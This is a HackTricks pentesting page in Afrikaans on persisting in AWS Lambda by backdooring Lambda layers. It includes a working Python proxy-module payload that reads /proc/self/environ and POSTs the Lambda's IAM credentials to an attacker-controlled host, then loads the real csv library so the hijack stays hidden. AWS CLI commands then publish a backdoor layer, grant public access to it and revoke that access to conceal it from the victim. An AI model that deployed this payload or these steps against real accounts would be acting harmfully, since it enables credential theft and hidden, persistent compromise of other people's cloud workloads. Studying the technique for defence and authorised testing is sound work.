# AWS - Lambda Laag Persistensie

{{#include ../../../../banners/hacktricks-training.md}}

## Lambda Lae

'n Lambda-laag is 'n .zip-lêerargief wat **addisionele kode** of ander inhoud **kan bevat**. 'n Laag kan biblioteke, 'n [aangepaste runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, of konfigurasielêers bevat.

Dit is moontlik om tot **vyf lae per funksie** in te sluit. Wanneer jy 'n laag in 'n funksie insluit, word die **inhoud na die `/opt`** gids in die uitvoeringsomgewing **uitgepak**.

Deur **standaard** is die **lae** wat jy skep **privaat** vir jou AWS-rekening. Jy kan kies om 'n laag met ander rekeninge te **deel** of om die laag **publiek** te **maak**. As jou funksies 'n laag gebruik wat 'n ander rekening gepubliseer het, kan jou funksies **voortgaan om die laag weergawe te gebruik nadat dit verwyder is, of nadat jou toestemming om toegang tot die laag te verkry, ingetrek is**. Jy kan egter nie 'n nuwe funksie skep of funksies opdateer wat 'n verwyderde laag weergawe gebruik nie.

Funksies wat as 'n houerbeeld ontplooi word, gebruik nie lae nie. In plaas daarvan, pak jy jou verkiesde runtime, biblioteke, en ander afhanklikhede in die houerbeeld wanneer jy die beeld bou.

### Python laai pad

Die laai pad wat Python in lambda sal gebruik, is die volgende:
```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```
Kontroleer hoe die **tweede** en derde **posisies** beset word deur gidse waar **lambda layers** hul lêers ontsyfer: **`/opt/python/lib/python3.9/site-packages`** en **`/opt/python`**

> [!CAUTION]
> As 'n aanvaller daarin slaag om 'n gebruikte lambda **layer** te **backdoor** of **een toe te voeg** wat **arbitraire kode sal uitvoer wanneer 'n algemene biblioteek gelaai word**, sal hy in staat wees om kwaadwillige kode met elke lambda-aanroep uit te voer.

Daarom is die vereistes:

- **Kontroleer biblioteke** wat deur die slagofferskode **gelaai** word
- Skep 'n **proxy-biblioteek met lambda layers** wat **aangepaste kode sal uitvoer** en die **oorspronklike** biblioteek **sal laai**.

### Vooraf gelaaide biblioteke

> [!WARNING]
> Wanneer ek hierdie tegniek misbruik, het ek 'n moeilikheid gevind: Sommige biblioteke is **reeds gelaai** in die python runtime wanneer jou kode uitgevoer word. Ek het verwag om dinge soos `os` of `sys` te vind, maar **selfs die `json` biblioteek was gelaai**.\
> Ten einde hierdie volhardingstegniek te misbruik, moet die kode 'n **nuwe biblioteek laai wat nie gelaai is** wanneer die kode uitgevoer word nie.

Met 'n python kode soos hierdie is dit moontlik om die **lys van biblioteke wat vooraf gelaai is** binne python runtime in lambda te verkry:
```python
import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}
```
En dit is die **lys** (kontroleer dat biblioteke soos `os` of `json` reeds daar is)
```
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
```
En dit is die lys van **biblioteke** wat **lambda standaard ingesluit het**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)

### Lambda Laag Backdooring

In hierdie voorbeeld kom ons veronderstel dat die geteikende kode **`csv`** invoer. Ons gaan die **invoer van die `csv` biblioteek backdoor**.

Om dit te doen, gaan ons die **gids csv** skep met die lêer **`__init__.py`** daarin in 'n pad wat deur lambda gelaai word: **`/opt/python/lib/python3.9/site-packages`**\
Dan, wanneer die lambda uitgevoer word en probeer om **csv** te laai, sal ons **`__init__.py` lêer gelaai en uitgevoer** word.\
Hierdie lêer moet:

- Ons payload uitvoer
- Die oorspronklike csv biblioteek laai

Ons kan albei doen met:
```python
import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv
```
Dan, skep 'n zip met hierdie kode in die pad **`python/lib/python3.9/site-packages/__init__.py`** en voeg dit as 'n lambda-laag by.

Jy kan hierdie kode vind in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)

Die geïntegreerde payload sal **die IAM kredensiale na 'n bediener stuur DIE EERSTE KEER wat dit aangeroep word of NA 'n reset van die lambda houer** (verandering van kode of koue lambda), maar **ander tegnieke** soos die volgende kan ook geïntegreer word:

{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}

### Eksterne Lae

Let daarop dat dit moontlik is om **lambda-lae van eksterne rekeninge** te gebruik. Boonop kan 'n lambda 'n laag van 'n eksterne rekening gebruik selfs al het dit nie toestemmings nie.\
Let ook daarop dat die **maksimum aantal lae wat 'n lambda kan hê 5 is**.

Daarom, om die veelsydigheid van hierdie tegniek te verbeter, kan 'n aanvaller:

- 'n Buitelander in 'n bestaande laag van die gebruiker (niks is ekstern) 
- **Skep** 'n **laag** in **sy rekening**, gee die **slagoffer rekening toegang** om die laag te gebruik, **konfigureer** die **laag** in die slagoffer se Lambda en **verwyder die toestemming**.
- Die **Lambda** sal steeds in staat wees om die **laag** te **gebruik** en die **slagoffer sal** nie enige maklike manier hê om die **laag se kode af te laai** (behalwe om 'n rev shell binne die lambda te kry)
- Die slagoffer **sal nie eksterne lae** sien wat gebruik word met **`aws lambda list-layers`**
```bash
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
```
{{#include ../../../../banners/hacktricks-training.md}}
